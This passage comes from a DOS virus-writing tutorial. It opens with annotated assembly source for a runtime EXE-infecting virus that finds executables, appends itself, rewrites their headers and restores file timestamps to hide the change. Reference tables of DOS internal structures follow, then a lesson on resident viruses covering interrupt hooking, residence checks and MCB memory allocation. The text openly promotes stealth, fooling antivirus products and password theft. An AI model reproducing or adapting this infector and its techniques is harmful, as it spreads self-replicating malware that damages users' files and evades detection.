>     ; ions... Our objective is to restore old CS:IP ans SS:SP of the infected EXE
>     ; Take note that  we must deactivate  interrupts before  stack  manipulation.
>     ; After  this, we  jump to the  original EXE code, and  all will  happen like
>     ; there isn't any strange thing :)
>     ;----------------------------------------------------------------------------

>     infect:
>             mov     cx, 0007h               ; all files
>             mov     ah, 004Eh               ; find first
>     findfirstnext:
>             int     0021h
>             jc      return
>             lea     dx, [bp+newDTA+30]
>             mov     ax, 4300h
>             int     0021h
>             jc      return
>             push    cx
>             push    dx

>             mov     ax, 4301h               ; clear file attributes
>             push    ax                      ; save for later use
>             xor     cx, cx
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; All this code seems to  be equal to the COM infection. This is because it's
>     ; the stuff that find EXE files, wipe the attributes and else
>     ;----------------------------------------------------------------------------

>             mov     ax, 3D02h
>             lea     dx, [bp+newDTA+30]
>             int     0021h
>             xchg    ax, bx

>             mov     ax, 5700h               ; get file time/date
>             int     0021h
>             push    cx
>             push    dx

>             mov     ah, 003Fh
>             mov     cx, 001Ah
>             lea     dx, [bp+offset readbuffer]
>             int     0021h

>             mov     ax, 4202h
>             xor     cx, cx
>             cwd
>             int     0021h

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; Hey, guy. All  this above code  was already seen in COM infection. But from
>     ; here till the end, there'll be the cool stuff of EXE infection :)
>     ;----------------------------------------------------------------------------

>             cmp     word ptr [bp+offset readbuffer], 'ZM'
>             jnz     jmp_close

>     checkEXE:
>             cmp     word ptr [bp+offset readbuffer+10h], id
>             jnz     skipp
>     jmp_close:
>             jmp     close

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; The first  block compares  the first  bytes of  the opened file in order to
>     ; search for the EXE signature ( MZ ). The author of Gý seems to have forgot-
>     ; ten  to  add a comparison for ZM, tho. The  second one  check for  previous
>     ; infection. This virus is  an old runtime one, and it's a rudimentary way to
>     ; mark infected EXEcutables ( put two bytes as SP in the EXE header )
>     ;----------------------------------------------------------------------------

>     skipp:

>             lea     si, [bp+readbuffer+14h]
>             lea     di, [bp+origCSIP]
>             movsw                           ; Save original CS and IP
>             movsw

>             sub     si, 000Ah
>             movsw                           ; Save original SS and SP
>             movsw

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; For know that we are doing at this point, you must remember what MOVSW does
>     ; ( Explained some lines above ). Ok ? Yeah, this restores CS:IP and SS:SP of
>     ; the opened EXE.
>     ;----------------------------------------------------------------------------

>             push    bx                      ; save file handle
>             mov     bx, word ptr [bp+readbuffer+8] ; Header size in paragraphs
>             mov     cl, 0004h
>             shl     bx, cl

>             push    dx                      ; Save file size on the
>             push    ax                      ; stack

>             sub     ax, bx                  ; File size - Header size
>             sbb     dx, 0000h               ; DX:AX - BX -> DX:AX

>             mov     cx, 0010h
>             div     cx                      ; DX:AX/CX = AX Remainder DX

>             mov     word ptr [bp+readbuffer+0Eh], ax ; Para disp stack segment
>             mov     word ptr [bp+readbuffer+14h], dx ; IP Offset
>             mov     word ptr [bp+readbuffer+10h], id ; Initial SP
>             mov     word ptr [bp+readbuffer+16h], ax ; Para disp CS in module.

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This piece of code  seems to  be very hard to understand. But it isn't. The
>     ; first  block read  the value on readbuffer+8 ( Header size in paragraphs ).
>     ; And then turn it into bytes. The second  block puts the file size in stack.
>     ; The  third one  substracts to  the file  size the  header size. The  fourth
>     ; divides the number  in AX by 10, and  puts the remainder in DX. After this,
>     ; we put the new SS, IP, SP and CS.
>     ;----------------------------------------------------------------------------

>             pop     ax                      ; File length in DX:AX
>             pop     dx

>             add     ax, heap-start
>             adc     dx, 0000h

>             mov     cl, 0009h
>             push    ax
>             shr     ax, cl
>             ror     dx, cl
>             stc
>             adc     dx, ax
>             pop     ax
>             and     ah, 0001h

>             mov     word ptr [bp+readbuffer+2], ax ; Fix-up the file size in
>             mov     word ptr [bp+readbuffer+4], dx ; the EXE header

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; Yeeeha! Some cool math operations! :) First  we make is to restore the file
>     ; size. Then we add to  this the virus size. This  huge block that make a lot
>     ; of calcualations is used for calculate the infected file size in the header
>     ; that  is in 512  bytes form, rounded to up. Imagine  if we have a 513 bytes
>     ; file, then we have  here a 2 and 1 as remainder. The  last one  writes  the
>     ; calculated information to the header
>     ;----------------------------------------------------------------------------

>             pop     bx                      ; restore file handle

>             mov     cx, heap-start
>             lea     dx, [bp+offset start]
>             mov     ah, 0040h               ; concatenate virus
>             int     0021h

>             xor     dx, dx
>             mov     ax, 4200h
>             xor     cx, cx
>             int     0021h

>             lea     dx, [bp+offset readbuffer]
>             mov     cx, 001Ah
>             mov     ah, 0040h
>             int     0021h

>             inc     [bp+numinfect]

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; We  append the  virus body, and  then we move file ointer to the beginning.
>     ; Now we write the new header, and increment the counter by 1.
>     ;----------------------------------------------------------------------------

>     close:
>             mov     ax, 5701h               ; restore file time/date
>             pop     dx
>             pop     cx
>             int     0021h

>             mov     ah, 003Eh
>             int     0021h

>             pop     ax                      ; restore file attributes
>             pop     dx                      ; get filename and
>             pop     cx                      ; attributes from stack
>             int     0021h

>             mov     ah, 004Fh               ; find next
>             jmp     findfirstnext

>     ;----------------------------------------------------------------------------
>     ; Explanation:
>     ; This routines are known by us. No ? See the COM infection, sucker! ;)
>     ;----------------------------------------------------------------------------

>     signature       db      "[PS/Gý]",0     ; Phalcon/Skism Gý
>     EXEmask         db      "*.EXE",0
>     dot_dot         db      "..",0

>     heap:
>     newDTA          db      43 dup (?)
>     origdir         db      65 dup (?)
>     numinfect       db      ?
>     readbuffer      db      1ah dup (?)
>     endheap:
>             end     start
>     ;---[ CUT HERE ]-------------------------------------------------------------

>      Too much for you ? Ok, i know but i have to say one thing. When you underst-
>      and  the concept of COM and EXE  infection, your knowledge will grow as fast
>      as the light speed :) Doesn't matter that viruses are obsolete runtime ones.
>      The important is the concept. And if you understand this, you can make what-
>      ever you want.

>      We'll stop a little time. It's time  to explain you some more useful theory.

>     ---| Useful Structures |-----------------------------------------------------

>      Now it's time to know one thing we had talked a lot, the PSP.

>      % The PSP ( Program Segment Prefix ) %
>      --------------------------------------

>      Its structure look like this:

>      .-----------------------------------. <--- +0000h
>      |        INT 20h ( CD 20 )          |            Size : 1 WORD
>      |-----------------------------------| <--- +0002h
>      |    Pointer to the next segment    |            Size : 1 WORD
>      |-----------------------------------| <--- +0004h
>      |            Reserved               |            Size : 1 BYTE
>      |-----------------------------------| <--- +0005h
>      |       Far call to INT 21h         |            Size : 5 BYTES
>      |-----------------------------------| <--- +000Ah
>      |       Saved INT 22h vector        |            Size : 1 DWORD
>      |-----------------------------------| <--- +000Eh
>      |       Saved INT 23h vector        |            Size : 1 DWORD
>      |-----------------------------------| <--- +0012h
>      |       Saved INT 24h vector        |            Size : 1 DWORD
>      |-----------------------------------| <--- +0016h
>      |            Reserved               |            Size : 22 BYTES
>      |-----------------------------------| <--- +002Ch
>      |   Offset to Enviroment Segment    |            Size : 1 WORD
>      |-----------------------------------| <--- +002Eh
>      |            Reserved               |            Size : 46 BYTES
>      |-----------------------------------| <--- +005Ch
>      |        First default FCB          |            Size : 16 BYTES
>      |-----------------------------------| <--- +006Ch
>      |        Second default FCB         |            Size : 16 BYTES
>      |-----------------------------------| <--- +0080h
>      |   Command Tail and default DTA    |            Size : 180 BYTES
>      '-----------------------------------'                   ---------
>                                                 Total Size : 256 BYTES

>      Let's explain it step by step, because this structure is very important.

>      + Offset 0000h:

>      The  INT 20h is  an obsolete  method for terminate  program. Nowadays we use
>      function 4Ch of the INT 21h.

>      + Offset 0002h:

>      Here goes the pointer  to the next  segment placed after our program. We can
>      use it to know how much memory DOS have given to us ( substracting da offset
>      pointed by it to the offset 0000 of our PSP ). It'll return to us the memory
>      in paragraphs, so we  have to multiply it by 16 to obtain the size in bytes.

>      + Offset 0005h:

>      This is a preety  curious way to call INT 21h. And, of course, we can use it
>      to our purposes. The functions are in CL instead AH, and we can only use the
>      functions below 24h. I'll explain more in TUNNELING chapter.

>      + Offset 000Ah:

>      Here are stored the original vectors of INT 22h. The INT 22h is the one that
>      receives  the control when the  program terminates its  execution using this
>      ways:

>      - INT 20h
>      - INT 27h
>      - INT 21h ( Functions 00h, 31h, 4Ch )

>      + Offset 000Eh:

>      Here are  stored the vectors of anothr int, the INT 23h. This int is the one
>      that handles the CTRL+C key combination.

>      + Offset 0012h:

>      Another int is stored  here, the INT 24h. This  is the  int  that handle the
>      critical  errors. Examples of this  kinda errors ? When there isn't a floppy
>      in your floppy drive, or when it's write-protected.

>      + Offset 002Ch:

>      Here goes the starting offset of the enviroment block.

>      + Offset 005Ch:

>      In this field  is stored  the first default FCB ( File Control Block ). This
>      way to  access files isn't normally  used by  programs ( they  are  here for
>      compatibility  with old DOS versions ), but virus  writers usually use a way
>      for make stealth. See the FCB structure for more info.

>      + Offset 006Ch:

>      Ditto. It's the second default FCB.

>      + Offset 0080h:

>      This field has two functions:

>      - Store the command tail
>      - Default file buffer for store DTA

>      This functions  can't live  together, so when  we start  a program the first
>      thing  that is here  is the  command tail. If we need it, i recommend you to
>      save it to a safe place ( a variable in our code ). Da first byte of command
>      tail ( 80h ) holds  its length, and  from here, it's stored the real params.
>      The structure of the DTA will be explained in this same chapter.

>      % The FCB ( File Control Block ) %
>      ----------------------------------

>      There  are two kinds of FCBs : da normal and da extended ones. Here you have
>      the structure of a normal FCB.

>      .-----------------------------------. <--- +0000h
>      | Drive Letter ( 0=actual, 1=A... ) |            Size : 1 BYTE
>      |-----------------------------------| <--- +0001h
>      |     Blank padded file name        |            Size : 8 BYTES
>      |-----------------------------------| <--- +0009h
>      |    Blank padded file extension    |            Size : 3 BYTES
>      |-----------------------------------| <--- +000Ch
>      |       Current block number        |            Size : 1 WORD
>      |-----------------------------------| <--- +000Eh
>      |       Logical record size         |            Size : 1 WORD
>      |-----------------------------------| <--- +0010h
>      |            File size              |            Size : 1 DWORD
>      |-----------------------------------| <--- +0014h
>      |            File date              |            Size : 1 WORD
>      |-----------------------------------| <--- +0016h
>      |            File time              |            Size : 1 WORD
>      |-----------------------------------| <--- +0018h
>      |            Reserved               |            Size : 8 BYTES
>      |-----------------------------------| <--- +0020h
>      |    Record within current block    |            Size : 1 BYTE
>      |-----------------------------------| <--- +0021h
>      |    Random access record number    |            Size : 1 DWORD
>      '-----------------------------------'                   --------
>                                                 Total Size : 37 BYTES

>      And when it's an extended FCB, all the  avobe offsets are shifted by 7 bytes
>      and then the first 7 bytes looks like this:

>      .-----------------------------------. <--- -0007h
>      | FF ( Signature for extended FCB ) |            Size : 1 BYTE
>      |-----------------------------------| <--- -0006h
>      |            Reserved               |            Size : 5 BYTES
>      |-----------------------------------| <--- -0001h
>      |         File attribute            |            Size : 1 BYTE
>      '-----------------------------------'                   --------
>                                                 Total Size : 44 BYTES

>      The  way for detect if  the FCB is normal or extended is to see if the first
>      byte of FCB is a FFh byte. If it's, the  FCB is extended,  cause in a normal
>      FCB this can't never happen.
>      There's a kinda of stealth  that changes some values of the FCB for hide the
>      infection, but this will be seen in the STEALTH chapter.

>      % The MCB ( Memory Control Block ) %
>      ------------------------------------

>      It's  explained in RESIDENT  viruses chapter ( the  next chapter ). Here you
>      have:

>      .-----------------------------------. <--- +0000h
>      |  ID ( Z=last, M=there're more )   |            Size : 1 BYTE
>      |-----------------------------------| <--- +0001h
>      |     Address of associated PSP     |            Size : 1 WORD
>      |-----------------------------------| <--- +0003h
>      | Number of paras in allocated mem  |            Size : 1 BYTE
>      |-----------------------------------| <--- +0005h
>      |             Unused                |            Size : 11 BYTES
>      |-----------------------------------| <--- +0008h
>      |           Block Name              |            Size : 8 BYTES
>      |-----------------------------------| <--- +0010h
>      |     Zone of allocated memory      |            Size : ?? PARAS
>      '-----------------------------------'                   --------
>                                                 Total Size : VARIABLE

>      % The DTA ( Disk Transfer Area ) %
>      ----------------------------------

>      This structure is very important in virus writing. Let's see it:

>      .-----------------------------------. <--- +0000h
>      | Drive Letter ( equal than above ) |            Size : 1 BYTE
>      |-----------------------------------| <--- +0001h
>      |         Search Template           |            Size : 11 BYTES
>      |-----------------------------------| <--- +000Ch
>      |            Reserved               |            Size : 9 BYTES
>      |-----------------------------------| <--- +0015h
>      |         File attribute            |            Size : 1 BYTE
>      |-----------------------------------| <--- +0016h
>      |            File time              |            Size : 1 WORD
>      |-----------------------------------| <--- +0018h
>      |            File date              |            Size : 1 WORD
>      |-----------------------------------| <--- +001Ah
>      |            File size              |            Size : 1 DWORD
>      |-----------------------------------| <--- +001Eh
>      |    ASCIIZ Filename + extension    |            Size : 13 BYTES
>      '-----------------------------------'                   --------
>                                                 Total Size : 43 BYTES

>      The  original DTA is  stored in  offset 80h of the PSP. We  can save it with
>      function 1Ah of the INT 21h.

>      % The IVT ( Interrupt Vector Table ) %
>      --------------------------------------

>      This  ain't a " real " structure. Erhm... Let  me explain... The IVT  is the
>      place  when are stored  all the interrupt vectors ( wow, genius! ). All  the
>      vectors are located in number_of_interrupt * 4. Imagine  we want the INT 21h
>      vectors in DS:DX... simple:

>      xor ax,ax
>      mov ds,ax
>      lds dx,ds:[21h*4]

>      Why  we  clear DS ? Coz the IVT is  located from 0000:0000 to higher places.
>      This  manipulation ( without  using DOS ) is  the DIRECT  way for obtain/put
>      vectors of an interrupt. Well, all  this stuff  and more in RESIDENT VIRUSES
>      chapter. Hey... I've forgotten a little graphic :)

>      .-----------------------------------. <--- +0000h
>      |          INT 00h vector           |            Size : 1 DWORD
>      |-----------------------------------| <--- +0004h
>      |          INT 01h vector           |            Size : 1 DWORD
>      |-----------------------------------|
>      /\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/
>      |-----------------------------------| <--- +03FCh
>      |          INT FEh vector           |            Size : 1 DWORD
>      |-----------------------------------| <--- +0400h
>      |          INT FFh vector           |            Size : 1 DWORD
>      '-----------------------------------'                   ----------
>                                                 Total Size : 1024 BYTES

>      You can imaginate that the " broken " line means that are 256 interrupts and
>      i had to optimize this document ( i don't want it to occupy 5 megs! ) ;)

>      % The SFT ( System File Table ) %
>      ---------------------------------

>      This  structure is really cool. It can  help you to make your code much more
>      powerful and optimized. It's like the FCBs, but, as you can see, this one is
>      more powerful. With this tables we can make stealth, change the file pointer
>      the open mode, attributes... Here you have da structure for DOS 4+ ( I beli-
>      eve there isn't in da world someone using DOS 3 or something ). Well, if you
>      want to code also for DOS 3, go to the Ralph Brown's interrupt list. But the
>      SFT for DOS 3 is  very similar to this one. The  important values are in the
>      same place :)

>     .=====================================. <--- +0000h
>     |     Pointer to next file table      |           Size : 1 DWORD
>     |=====================================| <--- +0004h
>     |    Number of files in this table    | - - - - - Size : 1 WORD - - - - - - -
>     '=====================================' <--- +0000h    [ 3Bh bytes per file ]
>      |  Number of file handles of file   |            Size : 1 WORD
>      |-----------------------------------| <--- +0002h
>      |     File open mode ( AH=3Dh )     |            Size : 1 WORD
>      |-----------------------------------| <--- +0004h
>      |         File attribute            |            Size : 1 BYTE
>      |-----------------------------------| <--- +0005h
>      |  Device info block ( AX=4400h )   |            Size : 1 WORD
>      |-----------------------------------| <--- +0007h
>      | If char device points next dev h. |            Size : 1 DWORD
>      |      else point to DOS DPB        |
>      |-----------------------------------| <--- +000Bh
>      |     Starting cluster of file      |            Size : 1 WORD
>      |-----------------------------------| <--- +000Dh
>      |            File time              |            Size : 1 WORD
>      |-----------------------------------| <--- +000Fh
>      |            File date              |            Size : 1 WORD
>      |-----------------------------------| <--- +0011h
>      |            File size              |            Size : 1 DWORD
>      |-----------------------------------| <--- +0015h
>      |      Current offset in file       |            Size : 1 DWORD
>      |-----------------------------------| <--- +0019h ---------[ If Local File ]
>      |  Relative cluster within file of  |            Size : 1 WORD
>      |      last cluster accessed        |
>      |-----------------------------------| <--- +001Bh
>      |  Number of sector with dir entry  |            Size : 1 DWORD
>      |-----------------------------------| <--- +001Fh
>      | Number of dir entry within sector |            Size : 1 BYTE
>      |-----------------------------------| <--- +0019h ----[ Network redirector ]
>      |   Pointer to REDIRIFS records     |            Size : 1 DWORD
>      |-----------------------------------| <--- +001Dh
>      |               ???                 | -----------Size : 3 BYTES-------------
>      |-----------------------------------| <--- +0020h
>      |     Filename in FCB format        |            Size : 11 BYTES
>      |-----------------------------------| <--- +002Bh
>      | Pointer to prev SFT sharing file* |            Size : 1 DWORD
>      |-----------------------------------| <--- +002Fh
>      |  Network machine num opened file* |            Size : 1 WORD
>      |-----------------------------------| <--- +0031h
>      |    PSP segment of file owner      |            Size : 1 WORD
>      |-----------------------------------| <--- +0033h
>      |  Offset to code segment of rec*   |            Size : 1 WORD
>      |-----------------------------------| <--- +0035h
>      | Absolute clust num of last access |            Size : 1 WORD
>      |-----------------------------------| <--- +0037h
>      |  Pointer to IFS driver for file   |            Size : 1 DWORD
>      '-----------------------------------'                   --------
>                                                 Total Size : 61 BYTES

>      Uhm... I forgot to say  what's the  way to access  SFTs... Here you have the
>      routine that puts the SFT in ES:DI, giving the file handle in BX.

>      GetSFT:
>             mov     ax,1220h
>             int     2Fh
>             jc      BadSFT

>             xor     bx,bx
>             mov     ax,1216h
>             mov     bl,byte ptr es:[di]
>             int     2Fh
>      BadSFT:
>             ret

>      I really recommend you to save da values in AX/BX ( BX is very important: we
>      put there the file handle )

>      (*) The fields marked are used by SHARE.EXE

>      % The DIB ( DOS Info Block ) %
>      ------------------------------

>      With the DIB we can access to very important structures, that can't be acce-
>      ssed  by another way. This  structure isn't  fixed to a  memory location. We
>      must use the  function 52h of the INT 21h. It isn't a documented function of
>      DOS. When we call to the said function, we have the address of DIB in ES:BX.
>      Here you have:

>      .-----------------------------------. <--- -0004h
>      |       Pointer to first MCB        |            Size : 1 DWORD
>      |-----------------------------------| <--- +0000h
>      |       Pointer to first DPB        |            Size : 1 DWORD
>      |-----------------------------------| <--- +0004h
>      |    Pointer to DOS last buffer     |            Size : 1 DWORD
>      |-----------------------------------| <--- +0008h
>      |        Pointer to $CLOCK          |            Size : 1 DWORD
>      |-----------------------------------| <--- +000Ch
>      |          Pointer to CON           |            Size : 1 DWORD
>      |-----------------------------------| <--- +0010h
>      |       Maximum sector length       |            Size : 1 WORD
>      |-----------------------------------| <--- +0012h
>      |    Pointer to DOS first buffer    |            Size : 1 DWORD
>      |-----------------------------------| <--- +0016h
>      | Pointer to array of cur dir struc |            Size : 1 DWORD
>      |-----------------------------------| <--- +001Ah
>      |         Pointer to SFT            |            Size : 1 DWORD
>      '-----------------------------------'                   --------
>                                                 Total Size : 34 BYTES

>      % The DPB ( Drive Parameter Block ) %
>      -------------------------------------

>      This structure provides us  very useful information for our purposes. We can
>      know where is it located by using da second pointer in the DIB ( see above )
>      Here you have:

>      .-----------------------------------. <--- +0000h
>      |    Drive Letter ( 0=A,1=B... )    |            Size : 1 BYTE
>      |-----------------------------------| <--- +0001h
>      | Unit number within device driver  |            Size : 1 BYTE
>      |-----------------------------------| <--- +0002h
>      |        Bytes per sector           |            Size : 1 WORD
>      |-----------------------------------| <--- +0004h
>      | Highest sect num within a cluster |            Size : 1 BYTE
>      |-----------------------------------| <--- +0005h
>      | Shift count for clust to sectors  |            Size : 1 BYTE
>      |-----------------------------------| <--- +0006h
>      |    Number of reserved clusters    |            Size : 1 WORD
>      |-----------------------------------| <--- +0008h
>      |          Number of FATs           |            Size : 1 BYTE
>      |-----------------------------------| <--- +0009h
>      | Number of root directory entries  |            Size : 1 WORD
>      |-----------------------------------| <--- +000Bh
>      | Number of first sector with data  |            Size : 1 WORD
>      |-----------------------------------| <--- +000Dh
>      |  Number of last sector with data  |            Size : 1 WORD
>      |-----------------------------------| <--- +000Fh
>      |    Number of sectors per FAT      |            Size : 1 BYTE
>      |-----------------------------------| <--- +0010h
>      | Sector number of first dir sector |            Size : 1 WORD
>      |-----------------------------------| <--- +0012h
>      |  Address of device driver header  |            Size : 1 DWORD
>      |-----------------------------------| <--- +0016h
>      |          Media ID byte            |            Size : 1 BYTE
>      |-----------------------------------| <--- +0017h
>      |  00h if disk accessed, else FFh   |            Size : 1 BYTE
>      |-----------------------------------| <--- +0018h
>      |       Pointer to next DPB         |            Size : 1 DWORD
>      '-----------------------------------'                   --------
>                                                 Total Size : 28 BYTES

>      % The Partition Table %
>      -----------------------

>      Well, this  structure is preety known by everyone that codes boot infectors.
>      This is the first  block of  the hard  disk. It's  always the first, doesn't
>      matter if we're in a floppy or in a Hard Disk. We can also call it MBR ( Mas
>      ter Boot Record ) when HD, or Boot Sector when FD.

>      The partition  table is an array  with four entries, located at offset 01BEh
>      in the block. Here you have the format of each of these entries:

>      .-----------------------------------. <--- +0000h
>      | Boot indicator ( Bootable = 80h,  |            Size : 1 BYTE
>      |       Non bootable 00h )          |
>      |-----------------------------------| <--- +0001h
>      |  Head where the partition begins  |            Size : 1 BYTE
>      |-----------------------------------| <--- +0002h
>      | Sector where the partition begins |            Size : 1 BYTE
>      |-----------------------------------| <--- +0003h
>      |  Cylinder where the part. begins  |            Size : 1 BYTE
>      |-----------------------------------| <--- +0004h
>      |  System indicator* ( What OS ? )  |            Size : 1 BYTE
>      |-----------------------------------| <--- +0005h
>      |    Head where partition ends      |            Size : 1 BYTE
>      |-----------------------------------| <--- +0006h
>      |  Sector where the partition ends  |            Size : 1 BYTE
>      |-----------------------------------| <--- +0007h
>      | Cylinder where the partition ends |            Size : 1 BYTE
>      |-----------------------------------| <--- +0008h
>      | Total blocks preceding partition  |            Size : 1 DWORD
>      |-----------------------------------| <--- +000Ch
>      |   Total blocks in the partition   |            Size : 1 DWORD
>      '-----------------------------------'                   --------
>                                                 Total Size : 16 BYTES

>      (*) 01 = 12-bit FAT
>          04 = 16-bit FAT

>      % The BPB ( Bios Parameter Block ) %
>      ------------------------------------

>      In DOS  based systems, the  boot record  begins with a jump, followed by the
>      following structure, the BPB.

>      .-----------------------------------. <--- +0000h
>      |  OEM name and version ( ASCII )   |            Size : 8 BYTES
>      |-----------------------------------| <--- +0008h
>      |         Bytes per sector          |            Size : 1 WORD
>      |-----------------------------------| <--- +000Dh
>      |       Sectors per cluster         |            Size : 1 BYTE
>      |-----------------------------------| <--- +000Eh
>      | Reserved sector ( starting at 0 ) |            Size : 1 WORD
>      |-----------------------------------| <--- +0010h
>      |          Number of FATs           |            Size : 1 BYTE
>      |-----------------------------------| <--- +0011h
>      |  Num of 32 bit root dir entries   |            Size : 1 WORD
>      |-----------------------------------| <--- +0013h
>      |    Total sectors in partition     |            Size : 1 WORD
>      |-----------------------------------| <--- +0015h
>      |         Media descriptor          |            Size : 1 BYTE
>      |-----------------------------------| <--- +0017h
>      |          Sectors per FAT          |            Size : 1 WORD
>      |-----------------------------------| <--- +0019h
>      |         Sectors per track         |            Size : 1 WORD
>      |-----------------------------------| <--- +001Bh
>      |          Number of heads          |            Size : 1 WORD
>      |-----------------------------------| <--- +001Dh
>      |      Number of hidden sectors     |            Size : 1 WORD
>      '-----------------------------------'                   --------
>                                                 Total Size : 29 BYTES

>     ---| More cool viruses : RESIDENT viruses |----------------------------------

>      Well, if you have reached this point and you're still alive, you have future
>      in this cool world called virus scene :)

>      Here begins da interesting stuff for you ( to read ) and for me ( to write )

>      % What the hell is a resident program? %
>      ----------------------------------------

>      Well, first of all i'll explain you just the opposite :)
>      When we execute a  non-resident  program ( normal  program such  edit ), DOS
>      gives  it  determinated  memory, but  this  memory is  deallocated when  the
>      application  is terminated ( with an  INT 20h, or INT 21h functions like the
>      famous 4Ch ).

>      A resident program is  executed like a normal program, but it leaves in mem-
>      ory a portion of itself, that is not  deallocated after program termination.
>      Resident programs ( aka TSR = Terminate and Stay Resident ) ussually replace
>      some interrupts, and putting  its own ones, for perform the task for they're
>      designed. What uses  can we give to a TSR program ? We  can use for  hacking
>      ( steal passwords ), for  our cool utilities... all depends of your imagina-
>      tion. Of course, i don't forget it... for make RESIDENT VIRUSES :)

>      % What can a TSR virus give you? %
>      ----------------------------------

>      TSR isn't the best way to call viruses that go resident. Imagine you're exe-
>      cuting something and  it returns to DOS. No. We can't TERMINATE and stay re-
>      sident! The user will note there's something  wrong. We must RETURN  to host
>      and  stay resident :) TSR  is only an  abbreviation ( misused, i must add ).
>      Resident viruses  can offer us a new world of possibilities. We can make our
>      virus much more infectious, safe... We can disinfect file when an attempt to
>      open/read  file is detected ( imagine, AVs won't  detect anything ), we  can
>      hook the functions  used by AVs  in order to fool them, we can substract the
>      virus size to inexpert user eyes ( erhm... experts too ) ;)

>      Nowadays there  isn't reasons to make  runtime viruses. They're slow, easily
>      detectable, and OBSOLETE ( Hey! An excelent Fear Factory album! ) :)
>      Let's see a little example of resident program.

>     ;---[ CUT HERE ]-------------------------------------------------------------
>     ; This program will check if it's already in memory, and then it'll show us a
>     ; stupid message. If not, it'll install and show another msg.

>            .model 	tiny
>            .code
>             org	100h

>     start:
>             jmp     fuck

>     newint21:
>             cmp     ax,0ACDCh               ; Are user caliing our function?
>             je      is_check                ; If yes, answer the call
>             jmp     dword ptr cs:[oldint21] ; Else jump to original int 21

>     is_check:
>             mov     ax,0DEADh               ; We answer it
>             iret                            ; And make an interrupt return :)

>     oldint21  label dword
>     int21_off dw    0000h
>     int21_seg dw    0000h

>     fuck:
>             mov     ax,0ACDCh               ; Residence check
>             int     21h                     ; Invented function, of course ;)
>             cmp     ax,0DEADh               ; Are we here?
>             je      stupid_yes              ; If yes, show message 2

>             mov     ax,3521h                ; If not, we go and install
>             int     21h                     ; Function for get INT 21h vectors
>             mov     word ptr cs:[int21_off],bx ; We store offset at oldint21+0
>             mov     word ptr cs:[int21_seg],es ; We store segment at oldint21+2

>             mov     ax,2521h                ; Function for put new int 21 handler
>             mov     dx,offset newint21      ; where is it located
>             int     21h

>             mov     ax,0900h                ; Show message 1
>             mov     dx,offset msg_installed
>             int     21h

>             mov     dx,offset fuck+1        ; Make resident from offset 0 until
>             int     27h                     ; offset in dx using int 27h
>                                             ; This will also terminate program

>     stupid_yes:
>             mov     ax,0900h                ; Show message 2
>             mov     dx,offset msg_already
>             int     21h
>             int     20h                     ; Terminate program.

>     msg_installed db "Stupid Resident not installed. Installing...$"
>     msg_already   db "Stupid Resident is alive and kicking your ass!$"

>     end      start

>     ;---[ CUT HERE ]-------------------------------------------------------------

>      This little example can't be used to code a virus... Why? INT 27h, after put
>      a program in memory, terminates current execution. It's like it  put code in
>      memory  and make INT 20h  or whatever you  use for terminate current program
>      execution.

>      And then... What can we use to code a virus?

>      % TSR viruses algorithm %
>      -------------------------

>      We can follow this steps ( imagination is quite good in virus coding... ) :)

>      1. Check if program is already resident ( yes, goto 5; no, continue )
>      2. Allocate memory we want
>      3. Copy virus body to memory
>      4. Get interrupt vectors, save them and put ours
>      5. Restore host file
>      6. Return control to it

>      % Residence checks %
>      --------------------

>      When we're coding a resident program, we must make at least one check to see
>      if our program is already installed. Ussually, it's an invented function,and
>      when we call it, the function return us a determinated value ( we choose it,
>      too ) or if it isn't installed, it makes AL = 00.
>      Let's see an example:

>             mov     ax,0B0B0h
>             int     21h
>             cmp     ax,0CACAh
>             je      already_installed
>             [...]

>      If it was  already installed, we restore  the infected file host, and return
>      control  to original  program. If it  wasn't  installed, we  go and install.
>      The INT 21h handler for this virus will look like this:

>      int21handler:
>             cmp     ax,0B0B0h
>             je      install_check
>             [...]

>             db      0EAh
>      oldint21:
>             dw      0,0

>      install_check:
>             mov     ax,0CACAh
>             iret

>      % Allocate modifying MCB %
>      --------------------------

>      The most used way to allocate memory is da MCB ( Memory Control Block ) one.
>      There're two  way to  perform this  action: using DOS  or doing it DIRECTLY.
>      After seeing what the hell are each way, let's see what is a MCB.

>      A Memory Control Block is created by DOS for each control block that da pro-
>      gram uses. The length of  the block  is one  paragraph ( 16 bytes ), and  it
>      always goes before the allocated memory. Ahh! num it's always divisibe by 16
>      We can know the  location of the MCB of our program substracting to the code
>      segment  1 ( CS-1 ) if  is a  COM  file, and  DS if EXE ( remember, in  EXEs
>      CS<>DS ) You can see the MCB structure in STRUCTURES chapter ( Already seen,
>      the last lesson we have seen )

>      + Using DOS for modify MCB:

>      Well, the method i used in my first virus, the Antichrist Superstar, is very
>      simple and effective. First we  make a request to DOS using  function 4Ah of
>      INT 21h for all memory ( BX=FFFFh ), that is  an imposible value. This func-
>      tion will see that we're requesting for too much memory, so it will place in
>      BX all memory that  we can use. So  we substract to this value the code size
>      of our virus in paragraphs ( ((size+15)/16)+1 ) and call again the function
>      4Ah. Now it's time to substract to da free memory the memory we want. We can
>      do it by doing a "sub word ptr ds:[2],(size+15)/16+1", and  then call to DOS
>      function 48h, with the code size in paragraphs in BX. This will return in AX
>      the segment  of allocated block, so  we put  it in ES, decrement AX, and put
>      the new value in DS. Now we have in DS the MCB, so we have to manipulate it.
>      We must put in DS:[0] the byte "Z" or "M" ( Depending of your needs, see MCB
>      structure ), and in DS:[1] the word 0008, for tell  DOS that the block is of
>      its own, and then it won't overwrite it.

>      Arf, Arf... After this huge theory, some code will be good.
>      Something like this will configure MCB to your needs:

>             mov     ax,4A00h                ; Here we request for an impossible
>             mov     bx,0FFFFh               ; amount of free memory
>             int     21h

>             mov     ax,4A00h                ; And we substract the virus size in
>             sub     bx,(virus_size+15)/16+1 ; paras to the actual amount of mem
>             int     21h                     ; ( in BX ) and request for space.

>             mov     ax,4800h                ; Now we make DOS substract 2 da free
>             sub     word ptr ds:[2],(virus_size+15)/16+1 ; memory what we need in
>             mov     bx,(virus_size+15)/16   ; paragraphs
>             int     21h

>             mov     es,ax                   ; In AX we get the segment of our
>             dec     ax                      ; memory block ( doesn't care if EXE
>             mov     ds,ax                   ; or COM ), we put in ES, and in DS
>                                             ; ( substracted by 1 )
